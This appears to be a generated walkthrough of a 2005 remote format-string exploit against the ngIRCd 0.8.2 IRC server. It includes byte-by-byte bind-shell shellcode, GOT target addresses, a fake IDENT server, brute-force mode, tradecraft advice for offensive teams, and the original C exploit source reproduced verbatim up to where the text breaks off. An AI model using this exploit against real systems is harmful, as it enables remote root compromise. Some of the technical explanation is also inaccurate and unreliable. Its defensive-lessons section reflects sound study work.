ngIRCd 0.8.2 Remote Format String Exploit Explained

ngIRCd 0.8.2 Remote Format String Exploit Explained
What this paper is
This paper details a remote format string vulnerability in ngIRCd version 0.8.2 and provides an exploit to gain a remote shell on a vulnerable system. The exploit targets the syslog function's Global Offset Table (GOT) entry to overwrite it with a return address that points to shellcode. This attack requires ngIRCd to be compiled with IDENT, SYSLOG, and DEBUG enabled.
Simple technical breakdown
The core of the vulnerability lies in how ngIRCd handles user-provided input when logging messages. Specifically, it uses format string specifiers (like %s, %x, %n) directly in logging functions without proper sanitization.
The exploit works by:
- Triggering the vulnerability: The attacker sends a specially crafted string to the ngIRCd server. This string contains format specifiers that, when processed by the logging function, allow the attacker to read from or write to arbitrary memory locations.
- Overwriting
syslogGOT entry: The attacker's goal is to overwrite thesyslogfunction's entry in the Global Offset Table (GOT). The GOT is a table that stores the addresses of functions dynamically linked by the program. By overwriting this entry, the attacker can redirect calls tosyslogto a location of their choosing. - Redirecting to shellcode: The attacker overwrites the
syslogGOT entry with the address of their shellcode. This shellcode is designed to spawn a remote shell. - Executing shellcode: When
syslogis called (which happens when the IDENT protocol is used and ngIRCd is configured to log IDENT requests), the program will instead jump to the attacker's shellcode, granting them a shell.
The exploit also involves setting up a fake IDENT server to trick ngIRCd into making the syslog call.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break it down section by section.
shellcode[]
char shellcode[] = /* 92 bytes by s0t4ipv6 */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x40" // incl %eax
"\x89\xc3" // movl %eax,%ebx
"\x50" // pushl %eax
"\x40" // incl %eax
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x66\x68\x13\xd2" // pushw $0xd213
"\x43" // incl %ebx
"\x66\x53" // pushw %bx
"\x89\xe1" // movl %esp,%ecx
"\x6a\x10" // pushl $0x10
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x40" // incl %eax
"\x89\x44\x24\x04" // movl %eax,0x4(%esp,1)
"\x43" // incl %ebx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x83\xc4\x0c" // addl $0xc,%esp
"\x52" // pushl %edx
"\x52" // pushl %edx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x93" // xchgl %eax,%ebx
"\x89\xd1" // movl %edx,%ecx
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // incl %ecx
"\x80\xf9\x03" // cmpb $0x3,%cl
"\x75\xf6" // jnz <shellcode+0x40>
"\x52" // pushl %edx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;Purpose: This is the actual shellcode that will be executed on the target system once the exploit is successful. It's designed to spawn a remote shell.
Breakdown:
\x31\xc0(xorl %eax,%eax): Clears theeaxregister to 0.\x50(pushl %eax): Pusheseax(0) onto the stack.\x40(incl %eax): Incrementseaxto 1.\x89\xc3(movl %eax,%ebx): Moveseax(1) intoebx. This is likely preparing for asocket()system call.\x50(pushl %eax): Pusheseax(1) onto the stack.\x40(incl %eax): Incrementseaxto 2.\x50(pushl %eax): Pusheseax(2) onto the stack.\x89\xe1(movl %esp,%ecx): Moves the stack pointer (esp) intoecx. This is preparing the arguments for a system call.\xb0\x66(movb $0x66,%al): Sets the lower byte ofeaxto0x66. This corresponds to thesys_socketcallsystem call number.\xcd\x80(int $0x80): Triggers the kernel to execute the system call. This sequence is likely setting up a socket.- The subsequent instructions involve setting up parameters for
socketcallto create a socket (likelyAF_INET,SOCK_STREAM,IPPROTO_IP). \x66\x68\x13\xd2(pushw $0xd213): Pushes the port number0xd213(53955 decimal) onto the stack. This is likely part of thebindorconnectcall.\x43(incl %ebx): Incrementsebx.\x66\x53(pushw %bx): Pushes the port number (now0xd213 + 1) onto the stack.\x89\xe1(movl %esp,%ecx): Sets upecxfor system call arguments.\x6a\x10(pushl $0x10): Pushes0x10(16) onto the stack, likely the size of the address structure forbindorconnect.- The code continues to set up arguments for
socketcallto perform abindoperation, binding the socket to a specific port and address. \xb0\x66(movb $0x66,%al): Again,sys_socketcall.\xcd\x80(int $0x80): Executes thebindsystem call.\x40(incl %eax): Incrementseax.\x89\x44\x24\x04(movl %eax,0x4(%esp,1)): Modifies an argument on the stack.\x43(incl %ebx): Incrementsebx.\x43(incl %ebx): Incrementsebx.\xb0\x66(movb $0x66,%al):sys_socketcallagain.\xcd\x80(int $0x80): This sequence appears to be setting up for alistensystem call.\x83\xc4\x0c(addl $0xc,%esp): Adjusts the stack pointer.\x52(pushl %edx): Pushesedx(0) onto the stack.\x52(pushl %edx): Pushesedx(0) onto the stack.\x43(incl %ebx): Incrementsebx.\xb0\x66(movb $0x66,%al):sys_socketcall.\xcd\x80(int $0x80): This sequence is likely for theacceptsystem call.\x93(xchgl %eax,%ebx): Swapseaxandebx.\x89\xd1(movl %edx,%ecx): Movesedx(0) intoecx.\xb0\x3f(movb $0x3f,%al): Setseaxto0x3f, which is thesys_dup2system call.\xcd\x80(int $0x80): Executessys_dup2. This is likely used to redirect standard input, output, and error to the accepted socket.\x41(incl %ecx): Incrementsecx.\x80\xf9\x03(cmpb $0x3,%cl): Comparesclwith3.\x75\xf6(jnz <shellcode+0x40>): If not equal, jumps back. This loop is likely ensuring thatstdin,stdout, andstderrare duplicated to the socket.\x52(pushl %edx): Pushesedx(0) onto the stack.\x68\x6e\x2f\x73\x68(pushl $0x68732f6e): Pushes the string "n/sh" onto the stack.\x68\x2f\x2f\x62\x69(pushl $0x69622f2f): Pushes the string "//bi" onto the stack.\x89\xe3(movl %esp,%ebx): Setsebxto point to the string "//bin/sh" on the stack.\x52(pushl %edx): Pushesedx(0) onto the stack.\x53(pushl %ebx): Pushesebx(the pointer to "//bin/sh") onto the stack.\x89\xe1(movl %esp,%ecx): Setsecxto point to the arguments forexecve.\xb0\x0b(movb $0xb,%al): Setseaxto0xb, which is thesys_execvesystem call.\xcd\x80(int $0x80): Executessys_execve("/bin/sh", ["/bin/sh", NULL], NULL), which spawns a shell.
Mapping:
\x31\xc0to\xcd\x80(first block): System call setup forsocket().\x31\xd2to\xcd\x80(second block): System call setup forbind().\x40to\xcd\x80(third block): System call setup forlisten().\x83\xc4\x0cto\xcd\x80(fourth block): System call setup foraccept().\x93to\xcd\x80(fifth block):sys_dup2calls to redirect stdin/stdout/stderr.\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80: System call setup forexecve("/bin/sh", ...).
targets[]
struct {
int num;
char *os;
char *ircd;
int got;
}targets[] = {
1, "Slackware Linux 10.0", "ngircd-0.8.1.tar.gz", 0x080680d4,
2, "Slackware Linux 10.0", "ngircd-0.8.2.tar.gz", 0x08068094,
3, "Slackware Linux 9.0", "ngircd-0.8.1.tar.gz", 0x080662b4,
4, "Slackware Linux 9.0", "ngircd-0.8.2.tar.gz", 0x08066294
};Purpose: This structure defines a list of known targets, including their operating system, ngIRCd version, and the specific memory address of the
syslogGOT entry for that configuration. This allows the exploit to be more precise.Breakdown:
num: A unique identifier for the target.os: A string describing the operating system.ircd: A string describing the ngIRCd version.got: The memory address of thesyslogGOT entry for this specific target configuration. This is crucial for the exploit to know where to write.
Mapping:
- Each element in the array represents a pre-calculated target configuration.
main(int argc, char *argv[])
Purpose: This function parses command-line arguments, sets up the exploit parameters, and orchestrates the attack by calling the
exploitfunction.Breakdown:
- Argument Parsing (
while((opt = getopt(argc,argv,"h:g:t:lo:bp:")) != EOF)):-h <host>: Specifies the target host (IP address or hostname).-p <arg>: Specifies the ngIRCd port (defaults to 6667).-t <arg>: Selects a target from thetargetsarray by its number. This automatically sets thesystem,ircd, andgotaddr.-g <arg>: Manually specifies thesyslogGOT address. This overrides the-toption if both are provided.-o <arg>: Adds an offset to the default return address (0x0806b000). This is used to fine-tune the address if the default is not correct.-b: Enables "bruteforce" mode, where the exploit tries a range of return addresses.-l: Prints the list of available targets.
- Initialization: Sets default values for
retaddr,gotaddr,targetnum, andoffset. - Argument Validation: Checks if essential arguments like
hostandgotaddrare provided. If not, it callsuse()to display usage information. - Host Verification: Uses
gethostbyname()to resolve the target hostname and prints the IP address. - Bruteforce Mode (
if(b)): If the-bflag is set, it iterates through a range of potential return addresses (fromretaddrup to0x0806ffff, incrementing by 0x10) and callsexploit()for each. - Single Mode (
else): If not in bruteforce mode, it callsexploit()once with the specified or calculatedretaddr.
- Argument Parsing (
Mapping:
getopt: Standard C library function for parsing command-line options.use(argv[0]): Calls theusefunction to print usage instructions and exit.printlist(): Calls theprintlistfunction to display target information and exit.exploit(host, gotaddr, retaddr, ircdport): The core function that performs the exploit.
exploit(char *host, int gotaddr, int retaddr, int ircdport)
Purpose: This function constructs the malicious payload, sets up a fake IDENT server, connects to the ngIRCd server, and sends the payload.
Breakdown:
- Buffer Initialization (
char ident[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE];): Declares buffers for the payload, temporary storage, and receiving data. - Socket Setup (
localaddr,sock,bind,listen):- Sets up a local socket to listen on the IDENT port (113). This is to respond to ngIRCd's IDENT requests.
localaddr.sin_family = AF_INET;: Specifies IPv4.localaddr.sin_port = htons(IDENTD);: Binds to port 113 (IDENT).localaddr.sin_addr.s_addr = INADDR_ANY;: Listens on all available network interfaces.setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, ...): Allows the socket to be reused immediately after closing.bind(): Assigns the address and port to the socket.listen(): Puts the socket into listening mode.
- Payload Construction (
sprintf(ident, "0 , 0 : USERID : OTHER :");):- Starts building the
identstring, which will be sent to the target. The format isUSERID : OTHER : <data>. - Writing GOT Address (
for(i = 0; i < 4; i++) { ... }):- This loop iterates 4 times, writing the bytes of the
gotaddrone by one into theidentstring. This is a common technique in format string exploits to write specific values to memory. It's likely writing the address ofsyslog's GOT entry.
- This loop iterates 4 times, writing the bytes of the
- Calculating Format String Specifiers (
bal1,bal2,bal3,bal4,cn1,cn2,cn3,cn4):- The code breaks down the target return address (
retaddr) into its byte components (bal1tobal4). - It then calculates
cn1tocn4based on these bytes and other offsets. These calculations are crucial for determining the correct number of characters to print for each%nspecifier to write to the desired memory locations. Thecheck()function is used to adjust values if they are too small. cn1 = bal4 - 16 - 36 - 70 - 92;cn2 = bal3 - bal4;cn3 = bal2 - bal3;cn4 = bal1 - bal2;- These subtractions are designed to calculate the difference between consecutive bytes of the target address and the current position in the buffer, ensuring that each
%nwrites the correct value.
- The code breaks down the target return address (
- Adding NOPs (
memset(temp, '\x90', 70);): Fills a portion of the buffer with NOP (\x90) instructions. This is a common padding technique to increase the chances of hitting the shellcode if the exact entry point is slightly off. - Adding Shellcode (
strcat(ident, shellcode);): Appends the actual shellcode to the buffer. - Adding Format String (
sprintf(temp, "%%%du%%12$n%%%du%%13$n%%%du%%14$n%%%du%%15$n", cn1, cn2, cn3, cn4);):- Constructs the format string part of the payload. It uses
%uto print numbers and%nto write the number of characters printed so far to a memory address. %%12$n: Writes to the address specified by the 12th argument on the stack.%%13$n: Writes to the address specified by the 13th argument on the stack.%%14$n: Writes to the address specified by the 14th argument on the stack.%%15$n: Writes to the address specified by the 15th argument on the stack.- The
cn1,cn2,cn3,cn4values are used as the arguments for%uto control how many characters are printed before each%n, effectively writing the bytes of the target return address (which is placed on the stack by the format string itself) into thesyslogGOT entry.
- Constructs the format string part of the payload. It uses
- Starts building the
- Connecting to ngIRCd (
sockfd,dest_dir,connect_timeout):- Creates a socket to connect to the ngIRCd server.
dest_dir.sin_family = AF_INET;: IPv4.dest_dir.sin_port = htons(ircdport);: Connects to the specified ngIRCd port.dest_dir.sin_addr = *((struct in_addr *)he->h_addr);: Connects to the target IP address.connect_timeout(): Attempts to connect to the ngIRCd server with a timeout.
- Waiting for IDENT Request (
accept,read):accept(): Waits for ngIRCd to connect to the fake IDENT server. ngIRCd will typically do this when it receives an IDENT request from a client.read(newsock, recvbuf, sizeof(recvbuf)): Reads the initial request from ngIRCd on the IDENT socket. This is usually an IDENT request.
- Sending Payload (
write(newsock, ident, strlen(ident));): Sends the craftedidentstring (containing the format string and shellcode) to ngIRCd via the IDENT connection. - Closing Sockets (
close()): Closes the sockets used for the IDENT server and the connection to ngIRCd. - Checking for Shell (
shell(host, SHELL);): Calls theshellfunction to attempt to establish a connection to the spawned shell on portSHELL(5074).
- Buffer Initialization (
Mapping:
sprintf(ident, ...): Buffer initialization and start of payload construction.- The loop writing
gotaddrbytes: Writing target memory address bytes. memset(temp, '\x90', 70): Adding NOP sled.strcat(ident, shellcode): Appending shellcode.sprintf(temp, "%%%du%%12$n..."): Constructing the format string for writing.socket(),bind(),listen(): Setting up the fake IDENT server.socket(),connect_timeout(): Connecting to the ngIRCd server.accept(): Waiting for ngIRCd's IDENT connection.read(): Receiving ngIRCd's IDENT request.write(): Sending the malicious payload.shell(host, SHELL): Attempting to connect to the shell.
shell(char *host, int port)
Purpose: This function attempts to connect to the remote shell that should have been spawned by the shellcode. It then provides an interactive shell session.
Breakdown:
- Socket Setup (
sockfd,dest_dir,connect_timeout):- Creates a socket to connect to the port where the shellcode is expected to be listening (port 5074).
dest_dir.sin_family = AF_INET;: IPv4.dest_dir.sin_port = htons(port);: Connects to the shell port.dest_dir.sin_addr = *((struct in_addr *)he->h_addr);: Connects to the target IP address.connect_timeout(): Attempts to connect to the shell with a timeout.
- Interactive Shell (
while(1)loop):- If the connection is successful, it prints a success message.
- It then enters a loop to manage input and output between the local terminal and the remote shell.
FD_ZERO,FD_SET,select: These are used for multiplexing I/O. They monitor the standard input (file descriptor 0) and the socket connection (sockfd) for activity.if(FD_ISSET(0,&readfs)): If there's input from the local terminal, it reads it and sends it to the remote shell.if(FD_ISSET(sockfd,&readfs)): If there's data from the remote shell, it reads it and prints it to the local terminal.send(sockfd, command, strlen(command), 0);: Sends an initial command (uname -a; id;\n) to get system information.
- Socket Setup (
Mapping:
socket(),connect_timeout(): Connecting to the spawned shell.send(sockfd, command, ...): Sending initial commands to the shell.select(),FD_SET(),FD_ISSET(): Managing interactive shell input/output.read(),write(),send(),recv(): Handling data transfer for the interactive shell.
connect_timeout(int sfd, struct sockaddr *serv_addr, socklen_t addrlen, int timeout)
Purpose: A utility function to establish a TCP connection with a specified timeout. This prevents the exploit from hanging indefinitely if the target is unreachable or the connection fails.
Breakdown:
- Non-blocking Mode: Sets the socket to non-blocking mode using
fcntl(sfd, F_SETFL, O_NONBLOCK);. This allowsconnect()to return immediately. - Initiate Connection: Calls
connect(sfd, serv_addr, addrlen);. - Check Connection Status:
- If
connect()returns 0 or greater, the connection was immediate. - If
connect()returns -1, it checks the connection status usingselect()with a timeout.
- If
select(): Waits for the socket to become writable (indicating connection establishment) or readable (indicating an error) within the specifiedtimeout.- Restore Blocking Mode: If the connection is successful, it restores the socket to blocking mode.
- Return Value: Returns 0 on success, -1 on timeout or error.
- Non-blocking Mode: Sets the socket to non-blocking mode using
Mapping:
fcntl(F_SETFL, O_NONBLOCK): Setting non-blocking mode.connect(): Initiating the connection.select(): Waiting for connection completion with a timeout.fcntl(F_SETFL, ~O_NONBLOCK): Restoring blocking mode.
check(unsigned long addr)
Purpose: This function appears to be a helper to adjust values that might be too small to be interpreted correctly by the format string specifiers, particularly when they are used to write to memory.
Breakdown:
- Converts the
addrto a string usingsnprintf. - If the integer value of the string is less than 5, it adds 256 to
addr. This is likely to ensure that the number of characters printed by%uis large enough to be meaningful for the%nwrite operation, preventing issues with small or negative values.
- Converts the
Mapping:
snprintf: Converting number to string.atoi: Converting string to integer.- Arithmetic operations: Adjusting the value.
use(char *program)
Purpose: Displays the usage instructions for the exploit program.
Breakdown: Prints the command-line syntax and a description of each option.
Mapping: Standard help message function.
printlist(void)
Purpose: Displays the list of pre-defined targets stored in the
targetsarray.Breakdown: Iterates through the
targetsarray and prints the number, OS, and ngIRCd version for each entry.Mapping: Standard target listing function.
Practical details for offensive operations teams
- Required Access Level: Network access to the target ngIRCd server is required. No local access or prior authentication is needed.
- Lab Preconditions:
- A vulnerable ngIRCd server (version <= 0.8.2) must be running.
- The server must be compiled with IDENT, SYSLOG, and DEBUG enabled. This is a critical prerequisite.
- The target system must be accessible over the network from the attacker's machine.
- The attacker needs to know or be able to determine the IP address and port of the ngIRCd server.
- The attacker needs to know or be able to determine the
syslogGOT address for the specific target configuration (or use the bruteforce option).
- Tooling Assumptions:
- The exploit is written in C and requires a C compiler (like GCC) to build.
- Standard networking utilities are assumed (sockets,
gethostbyname). - The exploit relies on specific system call numbers and calling conventions for Linux x86.
- Execution Pitfalls:
- Incorrect GOT Address: If the
syslogGOT address is wrong, the exploit will likely fail to gain a shell or might crash the service. The-toption or manual-goption is crucial. - Firewall Blocking: Firewalls might block the connection to the ngIRCd port (default 6667) or the fake IDENT port (113). The exploit also tries to connect to port 5074 for the shell, which might also be blocked.
- Service Restart/Crash: The exploit might cause the ngIRCd service to crash or restart, depending on how the memory corruption is handled by the OS and the service.
- IDENT Protocol Not Used/Logged: If ngIRCd is not configured to use or log IDENT requests, the
syslogfunction might not be called in a way that triggers the exploit. - ASLR/DEP: Modern systems with Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) would make this exploit significantly harder or impossible to use without further techniques (e.g., information leaks to bypass ASLR, ROP chains). This exploit is from 2005, predating widespread ASLR adoption.
- Bruteforce Inefficiency: The bruteforce mode (
-b) can be very slow and noisy, potentially triggering intrusion detection systems. - Shellcode Port: The hardcoded shell port (5074) might already be in use or blocked.
- Incorrect GOT Address: If the
- Tradecraft Considerations:
- Reconnaissance: Before executing, gather information about the target system, including the ngIRCd version and its compilation flags (IDENT, SYSLOG, DEBUG). This helps in selecting the correct target type (
-t) or providing the precise GOT address (-g). - Stealth: The exploit is noisy. The fake IDENT server and the connection to ngIRCd are visible. The shellcode itself is also designed to be relatively simple and might be detected by advanced IDS/IPS.
- Payload Customization: The shellcode can be modified to perform different actions or use a different shell port.
- Targeted Approach: Using the
-toption with known targets is more reliable than manual GOT address guessing. - Logging: Ensure that any network traffic generated by the exploit is logged appropriately for post-engagement reporting.
- Authorization: Always ensure explicit authorization for any offensive operation.
- Reconnaissance: Before executing, gather information about the target system, including the ngIRCd version and its compilation flags (IDENT, SYSLOG, DEBUG). This helps in selecting the correct target type (
Where this was used and when
This exploit targets ngIRCd versions up to 0.8.2. The exploit paper was published on February 3, 2005. Therefore, its practical use would have been around 2005 and potentially in the years immediately following, targeting systems that had not yet patched or updated their ngIRCd installations. It's a classic example of a format string vulnerability exploited in the mid-2000s.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. Never trust user input. All data received from external sources, especially network services, must be thoroughly validated and sanitized before being used in sensitive operations like logging, database queries, or command execution. Format string vulnerabilities arise from directly using user-controlled data in functions like
printforsyslogwithout proper escaping or parameterization. - Secure Logging Practices:
- Avoid directly passing user-supplied data to logging functions that interpret format strings. Use safer logging mechanisms that separate data from format.
- If logging user-provided data, ensure it's properly escaped or formatted into a fixed structure.
- Global Offset Table (GOT) Protection: While not a direct defensive measure for applications, understanding how GOT overwrites work highlights the importance of memory safety. Modern systems employ techniques like ASLR and DEP to make such direct memory manipulation much harder.
- Regular Patching and Updates: Keeping software, including network daemons like IRC servers, up-to-date with the latest security patches is paramount. This exploit targets a known vulnerability that would have been patched in later versions of ngIRCd.
- Least Privilege: Running services with the minimum necessary privileges can limit the impact of a successful exploit. If ngIRCd were running as a non-root user, gaining a root shell would be impossible, though compromising the service itself would still be a risk.
- Network Segmentation and Firewalls: Limiting network access to services and blocking unnecessary ports can prevent an attacker from reaching vulnerable services or exploiting the resulting shell.
- Intrusion Detection/Prevention Systems (IDS/IPS): While this specific exploit might be too simple for modern IDS/IPS, the patterns of unusual network traffic (e.g., connecting to a fake IDENT server, sending malformed data) can be indicative of an attack.
ASCII visual (if applicable)
This exploit involves a client-server interaction and memory manipulation. A simplified flow can be visualized:
+-----------------+ +-----------------+ +-----------------+
| Attacker Client | ----> | ngIRCd Server | ----> | Target System |
| (Exploit Tool) | | (Vulnerable) | | (Memory) |
+-----------------+ +-----------------+ +-----------------+
| | |
| 1. Send crafted | 3. Calls syslog() |
| IDENT request with | (via IDENT proto) |
| format string | |
| | |
+-------------------------+-------------------------+
|
| 4. Overwrites syslog GOT
| entry with shellcode
| address.
|
v
+-----------------+
| Shellcode Exec. |
| (e.g., /bin/sh) |
+-----------------+
|
| 5. Spawns shell on port 5074
|
v
+-----------------+
| Attacker Client |
| (Shell Session) |
+-----------------+Explanation:
- The attacker's exploit tool sends a specially crafted string to the ngIRCd server. This string is designed to look like an IDENT request.
- The ngIRCd server, upon receiving this request and being configured to log IDENTs, internally calls the
syslog()function. - Because the
syslog()function's address in the Global Offset Table (GOT) has been overwritten by the exploit, the program jumps to the attacker's shellcode instead of the actualsyslogfunction. - The shellcode executes, typically by spawning a shell (like
/bin/sh) and binding it to a specific port (5074 in this case). - The attacker's exploit tool then connects to this port to gain an interactive shell session.
Source references
- Original Exploit Paper: ngIRCd 0.8.2 - Remote Format String (Exploit-DB ID: 784)
- Original Reference Advisory: http://www.nosystem.com.ar/advisories/advisory-11.txt (Note: This link may be defunct as it points to a 2005 website).
Original Exploit-DB Content (Verbatim)
/* ngircd_fsexp.c
*
* ngIRCd <= 0.8.2 remote format string exploit
*
* Note:
* To obtain a successful exploitation, we need that
* ngIRCd has been compiled with IDENT, logging to
* SYSLOG and DEBUG enabled.
*
* Original Reference:
* http://www.nosystem.com.ar/advisories/advisory-11.txt
*
* root@servidor:/home/coki/audit# ./ngircd_fsexp
*
* ngIRCd <= 0.8.2 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* Use: ./ngircd_fsexp -h <host> [options]
*
* options:
* -h <arg> host or IP
* -p <arg> ircd port (by default 6667)
* -t <arg> type of target system
* -g <arg> syslog GOT address
* -o <arg> offset (RET addr by default 0x0806b000)
* -b brutefoce the RET address
* (from 0x0806b000 + offset)
* -l targets list
*
* root@servidor:/home/coki/audit# ./ngircd_fsexp -h victim -t 1 -o 10000
*
* ngIRCd <= 0.8.2 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* [*] host : victim
* [*] system : Slackware Linux 10.0
* [*] ircd version : ngircd-0.8.2.tar.gz
* [*] syslog GOT address : 0x08068094
* [*] verifying host : 10.0.0.2
*
* [*] trying RET address : 0x0806d710 (offset 10000)
* [*] building evil buffer : done!
* [*] running fake ident server : 0.0.0.0:113
*
* [*] connecting to ircd... : 10.0.0.2:6667 connected
* [*] waiting for answer... : 10.0.0.1:43260 connected
* [*] sending evil ident... : done!
* [*] checking for shell... : done!
*
* [!] you have a shell :)
*
* Linux victim 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
*
* by CoKi <coki@nosystem.com.ar>
* No System Group - http://www.nosystem.com.ar
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define IDENTD 113
#define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define SHELL 5074
#define IRCD 6667
int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);
void exploit(char *host, int gotaddr, int retaddr, int ircdport);
char shellcode[] = /* 92 bytes by s0t4ipv6 */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x40" // incl %eax
"\x89\xc3" // movl %eax,%ebx
"\x50" // pushl %eax
"\x40" // incl %eax
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x66\x68\x13\xd2" // pushw $0xd213
"\x43" // incl %ebx
"\x66\x53" // pushw %bx
"\x89\xe1" // movl %esp,%ecx
"\x6a\x10" // pushl $0x10
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x40" // incl %eax
"\x89\x44\x24\x04" // movl %eax,0x4(%esp,1)
"\x43" // incl %ebx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x83\xc4\x0c" // addl $0xc,%esp
"\x52" // pushl %edx
"\x52" // pushl %edx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x93" // xchgl %eax,%ebx
"\x89\xd1" // movl %edx,%ecx
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // incl %ecx
"\x80\xf9\x03" // cmpb $0x3,%cl
"\x75\xf6" // jnz <shellcode+0x40>
"\x52" // pushl %edx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;
struct {
int num;
char *os;
char *ircd;
int got;
}targets[] = {
1, "Slackware Linux 10.0", "ngircd-0.8.1.tar.gz", 0x080680d4,
2, "Slackware Linux 10.0", "ngircd-0.8.2.tar.gz", 0x08068094,
3, "Slackware Linux 9.0", "ngircd-0.8.1.tar.gz", 0x080662b4,
4, "Slackware Linux 9.0", "ngircd-0.8.2.tar.gz", 0x08066294
};
static int b=0;
int main(int argc, char *argv[])
{
char opt, *host=NULL, *system=NULL, *ircd=NULL;
int i, ircdport=IRCD;
int retaddr=0x0806b000, gotaddr=0, targetnum=0, offset=0;
struct hostent *he;
printf("\n ngIRCd <= 0.8.2 remote format string exploit\n");
printf(" by CoKi <coki@nosystem.com.ar>\n\n");
while((opt = getopt(argc,argv,"h:g:t:lo:bp:")) != EOF) {
switch (opt) {
case 'h':
host = optarg;
break;
case 'g':
gotaddr = strtoul(optarg,NULL,0);
system = "unknown";
ircd = "unknown";
break;
case 't':
targetnum = atoi(optarg)-1;
if(targets[targetnum].num) {
system = targets[targetnum].os;
ircd = targets[targetnum].ircd;
gotaddr = targets[targetnum].got;
}
else use(argv[0]);
break;
case 'l':
printlist();
break;
case 'o':
offset = atoi(optarg);
retaddr += offset;
break;
case 'b':
b = 1;
break;
case 'p':
ircdport = atoi(optarg);
break;
default:
use(argv[0]);
break;
}
}
if(host == NULL) use(argv[0]);
if(gotaddr == 0) use(argv[0]);
if(system == NULL) {
system = "unknown";
ircd = "unknown";
}
printf(" [*] host\t\t\t: %s\n", host);
printf(" [*] system\t\t\t: %s\n", system);
printf(" [*] ircd version\t\t: %s\n", ircd);
printf(" [*] syslog GOT address\t\t: %010p\n", gotaddr);
printf(" [*] verifying host\t\t:");
fflush(stdout);
if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("\n");
exit(1);
}
printf(" %s\n\n", inet_ntoa(*((struct in_addr *)he->h_addr)));
/* bruteforce mode */
if(b) {
for(i = retaddr; i <= 0x0806ffff; i += 0x10) {
printf(" [*] bruteforcing RET address\t: %010p", i);
fflush(stdout);
exploit(host, gotaddr, i, ircdport);
}
printf("\n [*] failed!\n\n");
}
/* single mode */
else {
printf(" [*] trying RET address\t\t: %010p", retaddr);
fflush(stdout);
if(offset) printf(" (offset %d)\n", offset);
else printf("\n");
exploit(host, gotaddr, retaddr, ircdport);
}
}
void exploit(char *host, int gotaddr, int retaddr, int ircdport) {
char ident[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE];
int sock, newsock, sockfd, i, reuseaddr=1;
unsigned int bal1, bal2, bal3, bal4;
int cn1, cn2, cn3, cn4;
struct sockaddr_in dest_dir;
struct sockaddr_in remoteaddr;
struct sockaddr_in localaddr;
int addrlen = sizeof(struct sockaddr_in);
struct hostent *he;
if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("\n");
exit(1);
}
/* building evil buffer */
if(!b) {
printf(" [*] building evil buffer\t:");
fflush(stdout);
}
sprintf(ident, "0 , 0 : USERID : OTHER :");
/* adding GOT address */
for(i = 0; i < 4; i++) {
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &gotaddr);
strncat(ident, temp, 4);
gotaddr++;
}
bal1 = (retaddr & 0xff000000) >> 24;
bal2 = (retaddr & 0x00ff0000) >> 16;
bal3 = (retaddr & 0x0000ff00) >> 8;
bal4 = (retaddr & 0x000000ff);
cn1 = bal4 - 16 - 36 - 70 - 92;
cn1 = check(cn1);
cn2 = bal3 - bal4;
cn2 = check(cn2);
cn3 = bal2 - bal3;
cn3 = check(cn3);
cn4 = bal1 - bal2;
cn4 = check(cn4);
/* adding NOP's */
memset(temp, '\x90', 70);
strcat(ident, temp);
bzero(temp, sizeof(temp));
/* adding shellcode */
strcat(ident, shellcode);
